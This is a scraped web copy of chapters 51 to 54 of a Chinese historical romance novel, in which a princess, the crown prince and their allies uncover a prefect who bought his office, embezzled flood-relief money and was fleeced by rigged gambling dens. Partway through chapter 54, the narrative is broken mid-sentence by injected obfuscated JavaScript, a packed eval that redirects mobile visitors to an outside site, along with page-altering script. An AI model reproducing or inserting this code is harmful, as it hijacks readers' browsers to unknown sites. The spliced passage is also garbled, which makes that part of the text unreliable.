“对了,太子和太子妃正在驿站中,我带你们进去。” 那负责登记的驿官显然是奉了谢为安的命,见谢为安带着方才那对自称私奔的男女大摇大摆地进了驿站,也只是恭恭敬敬地行着礼,不敢有丝毫的阻拦。 原本就让人好奇的这两人居然还认识少将军,这更让人起了探究的心思。 只是那位少将军可不是他们敢惹的人,只得背地里猜测,这二人又是宣阳城中哪位富家千金和少爷。 谢为安看向驿官,神色有些严肃,“不得松懈,一只苍蝇也不可随意放进来,冲撞了贵人,几颗脑袋都不够掉的。” 驿官瞬间绷直了身子,不敢再去想那些有的没得,抱紧了自己的拳头,“是,遵少将军之命。” 他不知道少将军口中的贵人是谁,但能让少将军都这幅姿态的,他岂敢去打听,还是闭紧嘴巴好好做事才是正理。 沈悠然听到这身少将军,又看见那人盯着高马尾的背影,突然想起了这人是谁——当初和他在马场上一决高下的辅国大将军之孙,谢为安。 就是那个死命用球杆压住她不让她进球的人。 她可是很小气的人,这一点仇,能记上好几年。 手上隐约传来了一阵麻痛的感觉,沈悠然不委屈自己,用着能确保谢为安听见的声音“背后议论”着。 “他怎么黑成这样了,我刚才都被吓了一跳,还以为是哪里窜出来的野猴子呢。” 背对着谢为安,沈悠然放肆地朝他撇撇嘴,虽然没有对谢为安产生实质性的伤害,但这样会让她更解气。 严晟当然知道她这是在有仇必报,拉过她的手在掌心摩挲着,没有开口说什么要让她懂事不能和谢为安置气的话,只是无声地安抚。 谢为安倒是不在意,推开驿官的大门,自豪地同沈悠然解释道。 “帝姬有所不知,在下被祖父派到军中历练,这才晒黑了。” 倒是让沈悠然被噎地说不出话来,谢家也是大盛的功臣,人家谢为安又是因为在宫中历练才变得这般,再出言不逊多少有点不识好歹了。 只是这样一口气吞了回去,多少有些气闷。 严晟好似能听见她的心声一般,摸着她的脑袋小声安慰。 “没事,你刚刚也敲了他脑袋,就算出气了。” 倒也是。 沈悠然被严晟这简单的一句话安慰到了,转过头对他笑。 谢为安不经意间的一转头,就看见了两人这般,情浓意浓的模样。 51. 第 51 章 “夫人,在下谢为安,现下可方便?” 等到里面有了回应之后,谢为安才推门,侧过身子让沈悠然先进。 沈悠然进房间的时候,看见嫂嫂正焦急地在房中来回转着圈,一旁的床榻用纱帘遮住,只漏出了一只手半垂在床榻边。 除了他们二人,房间内还坐着一个背着药箱的中年男人,搭在那半截手腕上在诊脉。 哥哥这是……受伤了? 沈悠然心中一紧,当即冲到蔺朝暮身边,焦急地询问着,“嫂嫂,这是……” 蔺朝暮看见沈悠然突然出现,先是一愣,滚烫的泪珠子直接就从眼眶中簌簌落下。 “皎皎……你没事、太好了你没事……”蔺朝暮拉着她上下打量着,没在衣服上看见血迹,心中松了不知道多少口气。 她从昨夜一直担心到现在,既担心沈煦,也担心沈悠然和严晟,一整夜都未曾合过眼。 沈悠然的手腕被她紧握着,感觉到手背上传来的阵阵颤抖,沈悠然反手牵住她的手。 面色虽然是有些憔悴,但还是有血色,应当没有受伤,只是没休息好。 衣裳也还是昨日那一身,她们既然在客栈,不比沈悠然没有条件,若是需要疗伤,定然顺势就会换掉。 嫂嫂没受伤,已经是一个好消息了。 “你放心,你哥哥现下已经受了些伤,但不严重,都是我……都是我、如果我能跑得快些……” “咳咳、朝暮,我说了、和你……咳、不要过分自责,你要和我争论这个、莫非、莫非是在怪我给你招来了杀身之祸?” 蔺朝暮几乎是飞奔至床榻,弯腰将沈煦扶起来半坐着靠在床头。 “大夫,我夫君怎么样了?” 大夫是谢为安得知太子受伤之后,从附近镇上“请”来的。 为了不引来慌乱,没敢告知他沈煦的真实身份,只说是一位“贵人”。 那大夫瞧着谢为安下头那些人一身军队才能穿的铠甲,只当这趟出诊他需要当一个哑巴,贵人问什么就答什么,万不能有所隐瞒,也不可多嘴。 “回夫人的话,贵人他现在高热已退,暂无性命之忧。在下这就开几副活血化瘀的药,再让人配点生肌敛疮的敷药送来,好好将养着就行。” 蔺朝暮喜极而泣,对大夫道了谢。 那大夫连忙摆手,挎上药箱就要走。 他可不敢跟那个将他绑来的黑脸将军呆太久。 只是还没来记得多走几步,他就被刚刚进门的女子叫住了。 “大夫,你等等,这里还有个伤患。” 大夫简直想要扶额,他还想着早点走怕惹祸上身呢,怎么又来了一个病人。 最好不要再是什么疑难杂症,他可不想引火上身。 在同样听到是刀箭伤的时候,他差点没直接昏过去。 他们这些无权无势的小大夫,就怕遇见这种刀剑外伤。 刀枪剑戟之类的兵器,是受官府的管制,一般的老百姓根本接触不到,只有军队和那些达官显贵手上才有。 这一连两个刀剑伤,一定不是意外。 他哆哆嗦嗦的,不想掺和进贵人们的那些糟心事里。 好在今天这个伤不及躺在床上的那位厉害,他检查了一下伤口不算深,处理的也算妥当,并无大碍。 得了贵人们的首肯,他逃一般地出了房间。 沈悠然揉了揉酸涩的鼻尖,脚步踌躇地走向床榻,她怕看见哥哥一脸惨样。 好在肉眼看起来也就只是脸色惨白了些。 “皎皎,”沈煦语气虚浮,“过来哥哥看看,有没有受伤。” 豆大的泪珠终于是忍不住滚落下来,沈悠然咬着唇将着哭腔咽了回去。 “我没事的哥哥,严晟都护着我呢。” 沈煦抬头看了看一旁的严晟,只淡淡说了几个字。 “阿晟,多谢。” 刚刚大夫说的话,他都听见了,阿晟也受了伤。 自己的妹妹几斤几两他清楚,那些死士也不是什么正人君子,不会将就什么不对弱女子下手,反倒会觉得女子更好拿捏。 这样的情况下,受伤的是好友,而妹妹毫发无损,沈煦该感谢的。 “殿下,你我之间不用说这个。” 沈悠然脸颊泪痕犹在,嘴唇微张着,本想说些什么,但又觉得现在不是说这种话的事。 以为她这还是在担心自己,沈煦抬手擦着她眼角的泪,低声宽慰。 “好了,不哭了,哥哥真的没事。” “只是有些累了,想睡会儿,你们也出去休息一会儿吧。” 像是怕沈悠然拒绝,他又补充了一句,“你嫂嫂昨日一整夜都未曾合眼,皎皎听话,莫要打扰哥哥嫂嫂休息。” 放在平日里,沈悠然肯定是会打趣一番的。 但现下见着哥哥还能用这种开玩笑的方式来安慰自己,沈悠然多少还是放心了许多。 “那哥哥嫂嫂你们先休息,我们去旁边房间,不打扰你们了。” 说完,沈悠然就一手一个,将严晟和谢为安都拉走了。 整个驿站都被谢为安封锁了起来,房间多的是,几人不缺可以说话的地方。 沈悠然直接一个转身推开了旁边的门,忙问起了昨日分开之后发生了什么事。 言语之间拼凑出了她们分道扬镳之后的事情。 因为被那群死士刻意分开了,沈煦只能带着蔺朝暮朝马车行进的方向跑。 蔺朝暮家风严谨,从不许她做出那些有损规格女子名声的事来,在家中走路的步子快些都会被说不稳重,这样的环境下长大的她不善奔跑。 没等二人逃出多远,她就觉得体力不支,脚上步子越来越重,在不小心踩到路边碎石之后终于是支撑不住倒在路上。 后面追击的那群死士轻而易举地就追上了二人。 沈煦腹部的那道让他发了一整夜高热的伤口就是在替蔺朝暮挡剑的时候留下的。 他虽拼力抵抗,但终究不比死士人多,手上的动作也逐渐慢了下来。 就在二人以为要命绝于此的时候,一阵风声呼啸之后,差点刺进沈煦胸口的长剑叮咚一声落在地上。 一支长箭直接穿透了眼前死士的手腕。 沈煦一眼就认出了来人是熟面孔。 有了谢为安和一列军队的支援,死士们知晓刺杀的行动彻底失败了,为了减少无谓的牺牲,更为了不被带回去严刑拷打,当机立断地选择了撤退。 沈煦受了伤,比起知道歹人是谁,还是一国储君的生死更为重要,谢为安没有去追。 因为太晚了来不及进城,又怕消息走漏引发朝中震荡,谢 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原本骄傲得眼中见不得旁人的昭懿帝姬,竟对着谢为安行了个礼。 “谢小将军,昨夜多谢你仗义相救,让哥哥嫂嫂死里逃生。大恩无以为报,他日倘若有事相求,本帝姬一定助谢小将军完成心愿。” 谢为安连忙起身,“保护太子本就是臣的职责。” “若、若是帝姬真想道谢,那不如、不如……” “谢小将军若是想要什么,大可开口,本昭懿帝姬给不了的,会立马奏明父皇,你哪怕是要天上的星星月亮,本帝姬也能让人造梯子去天上给你摘!” 谢为安龇着牙揉了揉了后脑勺,“倒是不用星星月亮。” “只是臣这脑袋挨了个闷棍,晕乎乎的,能不能请帝姬给我熬点羹汤,就当补补脑子了。” 熬羹汤? 沈悠然瞪大了眼睛,一时之间不知道说点什么好。 这伤说起来还是她自己打的呢,都不说有没有这一层恩情在,她也是该负责的。 这个条件,说难吧,也不难,别说是一碗羹汤了,只要是能换得回哥哥嫂嫂的性命,哪怕是让沈悠然包了他一辈子的羹汤也甘愿。 但要说简单……沈悠然堂堂一个帝姬,居然会为了谢为安洗手作羹汤,这要是传了出去,少不得会冒出多少闲话来。 三人沉默着不知道该说些什么好。 隔壁房间的蔺朝暮熬过了头,现下也不觉得累,目光落在一旁桌上的行囊上,突然想起一件事。 昨日他们的东西都随着马车落在了原地,还是今晨天亮之后,谢为安派人找了回来,就堆放在桌上。 她拿出沈悠然的衣衫,站在门外,看着堂内的三个人。 谢为安单手抚着自己的后脑勺打转,神情坦荡,倒像是真的在担心自己就这么被打傻了一样。 沈悠然轻轻皱眉,像是有些为难。 而严晟…… 蔺朝暮摇了摇头,她看不懂严晟那落在沈悠然身上的目光是什么意思,只觉得似曾相识。 像是当初沈煦看见自己奉母亲之命给那早逝姨母留下的表哥送衣衫时的表情。 她抿了抿唇,推开房门,回到了自己的房间。 52. 第 52 章 沈煦的伤不算棘手,只要挺过第一晚的高热,后面也就不是大问题了。 众人猜测那些死士就算不是于世秋派来的,那肯定也是和于世秋有关。 他那边已经收到了风声,就不可再拖延,沈煦和严晟一合计,打算趁着夜色进城。 有了谢为安调来的人手,捉捕于世秋一事也就有了更大的胜算。 只是等他们到了永州知州府的时候,却听闻这位知州大人不在。 “回谢统领的话,我家大人沿着河道巡查去了,这几日都不在城中,大人来得不巧了。” 几人入城用的是谢为安奉原州都统之命前来探查的由头,自然也是谢为安出面。 “倒是我来的不巧了。” “只不过我也是奉上面大人的命令前来,既都到了此处,想来还是得见一面知州大人才好。若是日后有人问起来,知州大人也可替我做个证,免得有人参我渎职。” 管家欲言又止,你们原州军里怎么还有这么多勾心斗角的事。 “这是自然、这是自然,那小的这就去城中客栈安排,让各位……” “我们一大群军队打扮的人住客栈,怕是会引得百姓们恐慌吧?也没那般折腾了,我瞧着这知州府也不小,随便拾掇几个房间就够了。” “兄弟们,来感谢李知州的招待!” 身后几个将士闻言,齐齐吼出感谢李知州的话。 那管家被喊得发了懵,等到这群人往知州府大门的方向去了,手忙脚乱地想要叫停他们。 知州大人临走前特意交代过不能让人随意进府中,他连忙抱住……他四处张望着看了又看,只得抱住一只马腿。 “不、不行啊统领大人、我们,我们宅子小,住不下这么多人……” 谢为安哪里是真想在这里住下。 他假装没听见管家的话,执意带着人往知州府冲。 果不其然,这知州府里早已人去楼空。 他抽出悬挂在马背上的佩剑,直接抵在了管家的脖颈处。 “你家大人可真的好闲心啊,出去巡查河道,居然还带上了妻子孩子?” 管家见无法隐瞒,当即跪在地上求饶。 “饶命啊统领大人,小人、小人也不知情啊!” “昨夜我们家大人突然吩咐家中奴仆收拾行囊,带上夫人和小公子就走了。小人虽然也奇怪,但主人不说,小的也不敢问,只得老实按照大人的吩咐在此处守家,其余的一概不知啊!” 沈煦撩开马车车帘,冲谢为安摇了摇头。 “放过他吧,他当是真的不知情。” 于世秋为人谨慎多疑,怕被人查出来他和于家有什么关系,除了需要福全楼的掌柜帮他暗地里打理家产之外,其余的奴仆皆不敢用于家旧人。 这些人,想来已经成为他的弃子,自然是不会知道太多内情的。 “谢统领,还请你派一队人去查一查于世秋往哪个方向去了,看看还来不来得及追上人。 “另外,再派一队人去福全楼看看,于世秋和福全楼掌柜的救命之恩既然已经摆在了明面上,如果他二人一道失踪,肯定会引来旁人的猜测,我想福全楼应该还会留下什么东西。” 谢为安想了想,“那什么楼,我亲自去,万一下面的人脑袋不灵光,错失线索。” “我和谢统领一道去。”严晟紧跟着下了马车。 沈悠然明白这是最好的安排,但还是有些忧心他的伤口,特意撩开车帘叮嘱,“你注意安全。” 握了握拳头控制住想要抚摸沈悠然头顶的冲动,现下还有要事在身,不是细说这些事的时候。 既没过明路,大庭广众之下也不好过多亲密,恐惹人非议。 “我知道,别担心。”说完,他就翻身上了马。 谢为安将手下的人都留给了沈煦,一个伤患和两个不擅拳脚功夫的女子,真有人想要做什么手脚太容易了。 虽然是大晚上的,但一群穿着铠甲的军队士兵堵在知州府门口,还是太惹眼了。 沈煦不想让百姓们胡乱猜测引起恐慌,让人驾着马车去往一旁的巷子里候着。 一路上颠簸,好不容易停了下来,蔺朝暮趁机提议给沈煦换药。 沈悠然思绪忍不住一飘,想起严晟还未曾换过药。 心里有了挂念,难免会从眼里溢出。 蔺朝暮看见沈悠然扒在车门口眼巴巴地望着他们离去的方向,一时觉得有些好笑。 沈煦一手捂着伤口,看蔺朝暮许久未曾动作,侧过头看见妻子正在看向妹妹。 一时好奇,他也就顺势望过去,看见了那面带愁容的模样。 “我们家皎皎,是真的长大了……”他不禁感慨。 “是啊,已经是会春心……” “已经是知道身为帝姬当爱民如子,多多体恤臣下的年纪了。” 蔺朝暮失语,良久之后才叹了口气,“换药吧。” 真不知道他这个眼睛和脑袋,是怎么长的。 * 严晟和谢为安归来的时候,已经是亥时末了。 甫一上马车,严晟和先掏出两袋油纸出来,里面装着一些吃食。 多是一些糕点,这大晚上的,又不是特意去夜市闲逛,便只能在街边买点东西,想着万一有人饿了,还能垫垫肚子。 出门在外,确实不比在宫中的日子,想要什么东西了张一张口就行。 严晟只能尽量的让沈悠然感到舒适。 虽然他没有明说是专门为自己带的,但昏暗的马车里,沈悠然还是能觉察到那落在自己身上的目光。 绿豆糕有些甜腻了,但沈悠然还是觉得好吃。 沈煦的心思不在吃食上,虽然夜深了,但白日里休息了太久,此时他还是精神奕奕的。 “可有什么发现?” 严晟的目光从沈悠然嘴角不小心粘上的淡绿色碎屑上挪开,从怀里拿出一本账册。 是福全楼的经营账本。 严晟语气低沉,“我看过了,账本做得极其漂亮,找不出一丝一毫的差错。不仅如此,上面还记载了福全楼的一些善举开支。年年冬日施粥,若有水患的年份更会摆摊子赈灾,难怪在永州的名声这么好。” 要是抛开于世秋这个背后操纵者来讲,严晟也不得不承认这个于家很会做生意,在永州这种地界,能拿捏住民心,自然是会带来长久利润的。 “那你的意思是,福全楼没有问题?”沈煦皱着眉头一问,“那于世秋冒险让于家人来永州,总不能只是 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兴许,交出账本的时候,他就能回去了吧。 沈煦看了那本私账,记载着于世秋从礼县开始收受的所有贿赂以及从朝廷赈灾款里私自挪用的部分,用朱砂在总银钱达到四万两的时候做了一个明显的批注。 他猜测,这是当初于世秋买官所花的银两。 在填上这四万两的窟窿之后,于世秋却是变本加厉,在任不足十年的时间,敛财几近十万两。 一开始众人还觉得他买一个礼县小官的行为让人感到不解,现在想想,怕是早就打上了朝廷赈灾款的注意。 其他的州县虽然富足,但没有天灾,朝廷不会年年支出来补贴地方修缮费用。 只有永州,只有永州这种地方,才会有正大光明的钱花。 但他又很聪明,一开始的时候只是挪用不起眼的数目,大张旗鼓地替永州百姓修筑堤坝,散粮赈灾,一度让永州的百姓认为他是个好官,哪怕再有水患出现,也不是知州的错,只是没有一个更好的办法彻底根除此患。 毕竟永州这么多年了,一直都是这样,知州应该做了该做的事了。 在堵住了永州悠悠之口的情况下,又不断地同朝廷哭诉永州艰苦,让朝廷不断地送来赈灾款。 这完完全全就是在以永州百姓的灾难作为他发家致富的手段!是在发灾难财! 沈煦重重地将账本扔在地上。 “追!派人四处追捕!给各州县发公文,我就不信于世秋能够逃得掉!” 因为过分激动,沈煦腹部的伤口开裂,他痛得头上冒着冷汗,捂着伤口跌坐在马车上。 蔺朝暮连忙扶着他坐下,严晟和谢为安上前查看伤口,马车内顿时一片混乱。 沈悠然看向马车外,虽然是亥时了,但路上依旧有行人在走动,多是在码头上做工的人。 这个时辰了依旧还有人在忙碌着,只因永州多水患,地里的东西都不够一家人吃的,只能去其他的地方找钱。 哪怕天色已经这般晚了,只要有钱,依旧有人做活。 这便是,永州百姓的生活。 53. 第 53 章 从宣阳城里发出来的八百里加急密告和原州驻军的增援和在同一时间赶来。 不出众人所料,盛兴帝在信中勃然大怒。 他道永州水患常年不治乃是人力无法同天道抗衡,从未曾想过竟是有人不想让水患彻底根绝。 盛兴帝在信中特令巡察使沈煦、副巡察使严晟严查此案,抓到于世秋不是最终目的,重要的是要揪出收受银钱予他“礼县知府”这一职位的人,如遇奋力抵抗者,必要时可就地斩杀! 自上位以来,盛兴帝多次废除历代流传下来的残酷刑法,更是推崇若非罪大恶极者,尽量不要以死刑论处。 这样一个人口中都能说出就地斩杀的字眼,足以见得其怒火有多重。 不管是出于自己对于百姓们遭遇的不忍,还是想要完成皇命,沈煦和严晟都不敢再耽搁半分。 由谢为安亲笔求助调来的两千原州精兵被派往永州各处官道小路,对于世秋的追捕如同天罗地网一般展开来。 于世秋纵然是有通天的本事,也到底抵不过军中精兵,第二日的黄昏时刻,沈煦就收到了消息,说是人已经抓到,正在押送回永州。 一家三口并两个小厮两个丫鬟一个奶娘,尽数被抓捕归案。 * 密审那日,是沈悠然第一次见到于世秋。 他个子不矮,体型肥胖,因为被套上了锁链押送上来,步伐沉重,愈发显得像是一座小土堆在移动着。 听闻他前些年还因为体型肥胖的原因看过大夫,大夫说虽然这不算常见,但确实是有人会因为过度劳累而出现肥胖的症状。 这在永州百姓之间,还流传过好一段时间呢。 现在想想,或许这也是于世秋为了自己名声而特意放出来的传闻罢了。 虽然也未曾见过李文枢,但沈悠然在收集来的资料里看到过,他家境贫寒,有时候一日只吃一顿,想必身形也不该是健硕的。 一想到这里,再看看眼前的于世秋,沈悠然就觉得信中有一股无名怒火。 堂下的罪人乃是永州知州,是永州最大的官,整个永州也再找不出还有资格审问他的人,依旧在养伤的沈煦便将此事交给了严晟。 他则是和沈悠然一道,坐在一旁旁听。 “于世秋,你可知自己所犯何罪?” 于世秋被两个衙役按住双肩被迫跪在地上,哪怕不是在严晟口中听到了自己的名字,他也知道事情已然败露。 他没忘记在礼县旧宅留下眼线,只是安稳日子过久了,就忘了还有把悬在头顶的剑,疏忽了。 只是再怎么后悔,事情已经到了这个地步,再怎么递来,也是于事无补了。 严晟看他颓坐在堂前,知晓他不会再有任何的回应,自顾自地又开了口。 “按照大盛律法,你这可是诛九族的大罪。如今本官倒是可以给你一个法子,让你那无辜的妻儿免于一死。” 于世秋眼中毫无波澜,他都不用想,就知道严晟是想让他供出当初那个卖官的人是谁。 “回副巡察使大人的话,我招,我什么都招。” 他手脚并用地从坐姿重新换回下跪的姿态,脸深深地贴在地面之上,若是仔细看,似乎还能发现他正在瑟瑟发抖。 “我全都招了,大人可以放过我的妻儿吗?他们真的什么都不知道,他们到现在都还以为我就是真正的李文枢。” 严晟绷着一张脸,“你没资格谈条件。” 于世秋自然也是知道的,连叹了好几口气之后,才吐出了一个名字来。 上任吏部左侍郎,魏淳。 魏淳原是望国公府的女婿,因醉酒后闹事,当街殴打三人致死。 恰逢其中的一位死者是望国公府死对头淮阴侯府的人,好不容易逮到这个机会,一纸御状告到了盛兴帝面前,魏淳就此被卸了官职,判徙五年。 第二年的时候,就听闻他夫妻二人在边关染上疫病不治而亡。望国公府上本就人丁不兴,夫妻二人膝下就这么一个求神拜佛才得来的女儿。老年失女,没过多久老两口也倒下了。 偌大的一个望国公府也就这般没落了。 那魏淳本就不是什么好人,不过是傍上了望国公府成了乘龙快婿,这才一路官运亨通。当上左侍郎之后也多是些鱼肉百姓的名声,如若真是他收受贿赂让于世秋冒名顶替当上了礼县知府,倒也像是他做得出来的事。 只是真的会这么巧吗?到底真的是魏淳见钱眼开,还是说他一个开不了口的死人,是背黑锅的最合适人选? “大胆刁民,我看你是知晓魏淳已死,故意攀咬!” 严晟将手中的惊堂木重重拍下,但振聋发聩的声音却并不能恐吓住于世秋。 他哆哆嗦嗦地从贴身的里衣里掏出一封信,由衙役代为呈上。 信中居然是带有魏淳私印的收据。 “回大人的话,小的、小的,小的当初是受人引荐才认识魏大……魏淳的,同他也没有私交。这四万也不是小数目,我也是、我也是怕被诓骗,这才让魏淳签下此收据。” 严晟看了眼泛黄的纸张,确实像是有些年头了,角落的私印也并非新造。 他派人请来专门制作印鉴的师傅,又去调从前魏淳的亲笔签名和印章核对痕迹。 虽一时半会儿还无法有结果,但直觉告诉严晟,于世秋不会在此时上作假。 事情到此已然明了,他既认了罪,又老实供出了幕后主使。 眼下似乎只剩下了最后一个问题。 “那你所收受的那些贿赂,藏在何处?” 昨日沈煦已派人将知州府翻了个底朝天。 于世秋名下在各大钱庄都并无存银,包括他家中奴仆和于掌柜也是如此,想必是他也知道一介知州有众多存银会惹人怀疑,那些贪污所得都未曾兑换成银票,而是以银锭的形式藏了起来。 他们既是突然作出的决定连夜出逃,家中各处都并无破坏的痕迹,想必银钱并未随身带走。 何况那么多的银钱,带在身上也惹眼。 只不过一队人马在知州府找了整整一日,也未曾发现就什么密道暗室。 总不可能这银钱凭空消失了吧? “花掉了……”于世秋小声呢喃着。 沈悠然在一旁听着,终于是忍不住开了口,,“十多万两银子,你就这般花掉了?你莫不是下职之后闲来没事沿着河道撒银钱了吧?” 他的这些银子,养活整个永州城的百姓都不成问题,哪怕是养了一群死士,也是绰绰有余。 他竟敢这么轻飘飘地说花掉了 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百姓们也是逐渐看清在石头里开出玉石的情况少之又少,断了这一夜暴富的美梦,踏踏实实地过日子。 竟没曾想过,原来还有地下暗庄在做这赌石的买卖。 严晟命人拿来纸笔,由于世秋口述赌石庄子的名号和位置,分派几队人马将这吃人的地方彻底捣毁。 至于于世秋,则被关押在大牢深处,由专人看管,只等这审问的折子传达圣听之后,择日问斩。 审问结束之后,夜色又已经笼罩了整个永州城。 沈悠然搀扶着沈煦出了审讯室,有两道身影突然冲了出来。 严晟当即抽出腰间佩剑,在月色的照耀下,利刃的寒光闪了来人的眼。 “不要!”沈悠然当即大叫。 眼前的母子跌坐在地上,神色里尽是恐惧。 是于世秋的妻儿,料想她二人或许并不知情,严晟并未拷问她们,只是让人严加看管。 看来,是守卫疏忽了,竟让她们找到了这里。 于世秋的妻子胡氏原也是被严晟吓得双脚一软跌坐在地上,但听见沈悠然的话后,知道她是个心软的,连忙拉着儿子转到去扯住了沈悠然的裙摆。 “姑娘,姑娘,我知道您肯定是个好心人。我家夫君犯了什么事?您能不能饶了他一命,求求您了,饶了我夫君吧。” 旁边的小孩儿被母亲按着脑袋不停地磕头,哭闹着学母亲说话。 “求求您,求求您,饶了我爹爹吧。饶了我爹爹吧!” 胡氏是一个柔弱的女子,连日来的奔波让她本就憔悴,于世秋并未告诉她发生了什么事,她这一路上的担惊受怕,终于是在看见一群人押送着她夫君的时候崩溃了。 她到现在都不知道于世秋是什么罪,只是看着这个阵仗,她心里有不好的预感,这才大着胆子求到了贵人面前。 本以为这其中最面善的沈悠然会可怜自己,但她却没想到,沈悠然只是冷漠地扯回了自己的裙摆。 “饶了于世秋的话,谁又能饶了那些受苦的永州百姓。” 胡氏坐在地上,看着漆黑的穹顶,只觉得自己的泪已经哭干了。 于世秋,又是谁呢? 54. 第 54 章 于世秋落马,永州知州一职由通判暂代,直至吏部新的调令送达。 百姓们得知一夜之间父母官换了人,稍有诧异,但却并没有引发慌乱。 比起谁当官,他们更在意的是往后还能否领到赈灾粮。 太阳什么时候落不重要,重要的是今天能不能吃饱饭。 许是为了给妻儿谋求一条活路,在沈煦开恩让胡氏带着孩子去见于世秋最后一面之后,于世秋松了口,让人给严晟带了信。 严晟随后带人在知州府上敲敲打打,终于是在一个看起来像是老鼠洞的墙角里,挖出两个匣子,里面是以于世秋大哥的名义存的四万两银票。 于世秋想用这四万两,买他妻儿两条命。 而这四万两,转头就被严晟交给了永州通判,责令他尽数用于堤坝的修建与水患防治之上。 其实不用他如此,沈悠然已然为胡氏求过情了。 自从胡氏从大牢里出来后,人就有些恍惚,时而问自己的儿子叫什么名字,时而问于世秋是谁。 沈悠然怜她一介后宅女子对所有的事情都毫不知情,便提议让她同于世秋和离,这般便不用被牵连。 胡氏跪在地上给沈悠然磕了三个响头,个个都是实打实地头捶地,磕地整个额头上都沁了血。 也不知道她到底是在感恩,还是在悔恨。 * 永州之事暂告一段落后,一行人并未着急离开。 沈煦有伤在身,实在不宜风餐露宿;沈悠然和严晟也想趁此机会在永州多逛逛,多看看。 永州堤坝重铸是大事,地下赌石的赌庄对百姓的危害也不小。 彼时的沈悠然正举着一块石头,对着窗外的光线,左右摆弄着。 这是从赌庄里收缴而来的原石,赌场老板舌灿莲花,一会儿说什么看纹样,一会儿说什么透光会怎么样,将沈悠然说得是云里雾里。 那些入了赌场的人怕是也这样,被老板三言两语之下就说昏了头,斥巨资买下一块石头,最后什么都没开出来。 比起这些石头,她倒是更好奇,那些赌场老板的胆子到底是为何这般大,竟然连于世秋这个知州都敢骗。 而为什么于世秋竟会屡次上这种当? 她越发觉得蹊跷,和严晟二人提审了那些赌场老板,严刑拷打之下,终于有人说出了实情。 原来这些赌场老板,其实祖上干的就是采宝的营生,是有真本事在身上的。 哪些石头里藏着宝贝,哪些石头就是块普通石头,他们有自己的一套办法来看。 他们一开始就仗着这些本事,从渔民手上收石头,一块两块普通石头不要紧,只要几十块里能有一块出货,那都是暴利。 只是这样来钱还是太慢了,而且他们也不是真的火眼金睛能够穿透表面看到内里,偶尔有看走眼的时候,反而还会亏钱。 久而久之,几个人凑在一起就想了个主意。 他们将收上来的石头分成两拨,一拨是放在赌庄里出售的普通石头,另一拨则是用来哄骗那些赌徒的极有可能开出真宝的石头。 后者在他们口中被称作“饵石”,专门用来钓那些赌徒上钩的。 每日赌庄里人最多的时候,他们就会安排一些人来当托,当众开点好货引诱赌徒们,一旦有人上钩,就拿出普通石头来让他挑选。 这些人除了会看宝之外,还练就了一身看人的本事。一旦有哪个家中资产丰厚的赌徒输得多了想走,他们又会拿出“饵石”来,让他尝尝甜头,再吹嘘几句他是天命所归是上天眷顾的幸运儿,让本就沉浸于喜悦的赌徒飘飘然忘记了先前被坑的那些银钱,更是忘了自己想要收手的打算。 靠着这一环扣一环的连环局,这几个赌庄老板是赚得个盆满钵满。 难怪旁人总说十赌九输,背后有这样的门道,能赢得了才怪。 沈悠然感叹于这些人坑蒙拐骗的技术之高超,忍不住出声问询,“你们便也是这般坑骗于……李知州的?” 跪在审讯室地板上的赌庄老板哆嗦着,面色惨白地点了点头。 担着砍头大罪买来官贪污来的银钱,最后竟是以这样的方式白白送给了别人。 沈悠然心生一计,让人将来龙去脉去告诉了牢里的于世秋,想着怎么着也要让他气得吐出几口血才是。 她将从赌庄里带回来的几块石头一字排开摆在严晟面前,面色极为凝重。 “看见没,这可是赌钱的下场,你往后可不许沾染上这样的坏事。” 严晟失笑,“比起我,皎皎似乎更喜欢同人打赌。” 四下无人的时候,严晟便偶尔这般以小名称呼,沈悠然还不是特别习惯。 一害羞,她就总是喜欢和严晟唱反调,“我那不过是一些无伤大雅的玩笑罢了。” “你没听那赌场老板的话,有些人输得上了头,连家中妻女都要抵押出去呢。” 一想到那些无辜的妻女,沈悠然就忍不住捏紧了拳头。 安信侯府的秋娘、于世秋的妻子胡氏、还有那些因丈夫在外赌石而被当成货物一般抵押给其他人的女子,哪一个又是真的犯过罪呢? 沈悠然脑子里隐隐有了一些念头,她总想着,总想着,有些是似乎应该是她来做的事,只是她现在还不明白到底是什么。 严晟看她白皙的手背上有青筋浮现,伸手去将她的手一整个包裹住。 “他们会受到应有的刑罚。”严晟安慰道,“我会将赌场一事另起一折告知圣上,若是将赌石一事列入律法之中,想必会震慑住那些嗜赌之人。” 沈悠然点点头,顺势依偎在严晟怀中。 连日来的奔波,这竟是两人互通心意之后少有的亲昵时刻。 但这片刻的悠闲,却突然被一阵敲门声打断。 沈悠然有些不悦,皱着眉头打发严晟去开门。 原来是谢为安。 他一不像沈煦受了伤,而又不是严晟这种有皇命在身的人,他还挂着原州驻军统领的官职,受舅舅的命令来永州探查,如今事情都已经结束了,理当是要回原州复命。 此番前来,不过是讨要一个东西罢了。 看见开门的人是严晟后,谢为安不由得往后退了两步,看见房门上的挂牌,口中嘟嘟囔囔的。 “不对啊,我没敲错房门啊。” 严晟一改刚才看沈悠然的目光,整个人又是一副冷冷淡淡不好相处的模样。 “谢统领可是有事要寻昭懿帝姬?太子殿下有伤在身,一些无关紧要的善后之事我也不便多去打扰,便来寻昭懿帝姬商讨。” 二人的事没有过明路,严晟不想让人知晓沈悠然私下和男子共处一室引来非议。 谢为安点点头,确实是这样,太子殿下的伤倒不算什么大事,反正他方才去请辞的时候,倒是并未见到殿下脸色上有半点的不适。 反倒是他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16899769|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和太子妃之间那说不清道不明的浓情惬意,让谢为安打了个哆嗦,直言告退。 想必严晟也是这般想的,不愿去打扰。 “哦,这样啊。那帝姬在吗,我有事找帝姬。”他从门房打开的一角里瞥见了沈悠然衣衫的裙摆,大大咧咧地站在门口喊话,“帝姬,我能进来吗?” “进。” 此番谢为安出了不少力,无论是救人还是捉人,都打在头阵,沈悠然自然要给她一个好脸色。 “谢小将军可是有事?”她起身一问。 房门还未关,屋内又开着窗,一阵穿堂风吹过,吹得沈悠然衣袂翩翩,发尾在半空中飞舞着。 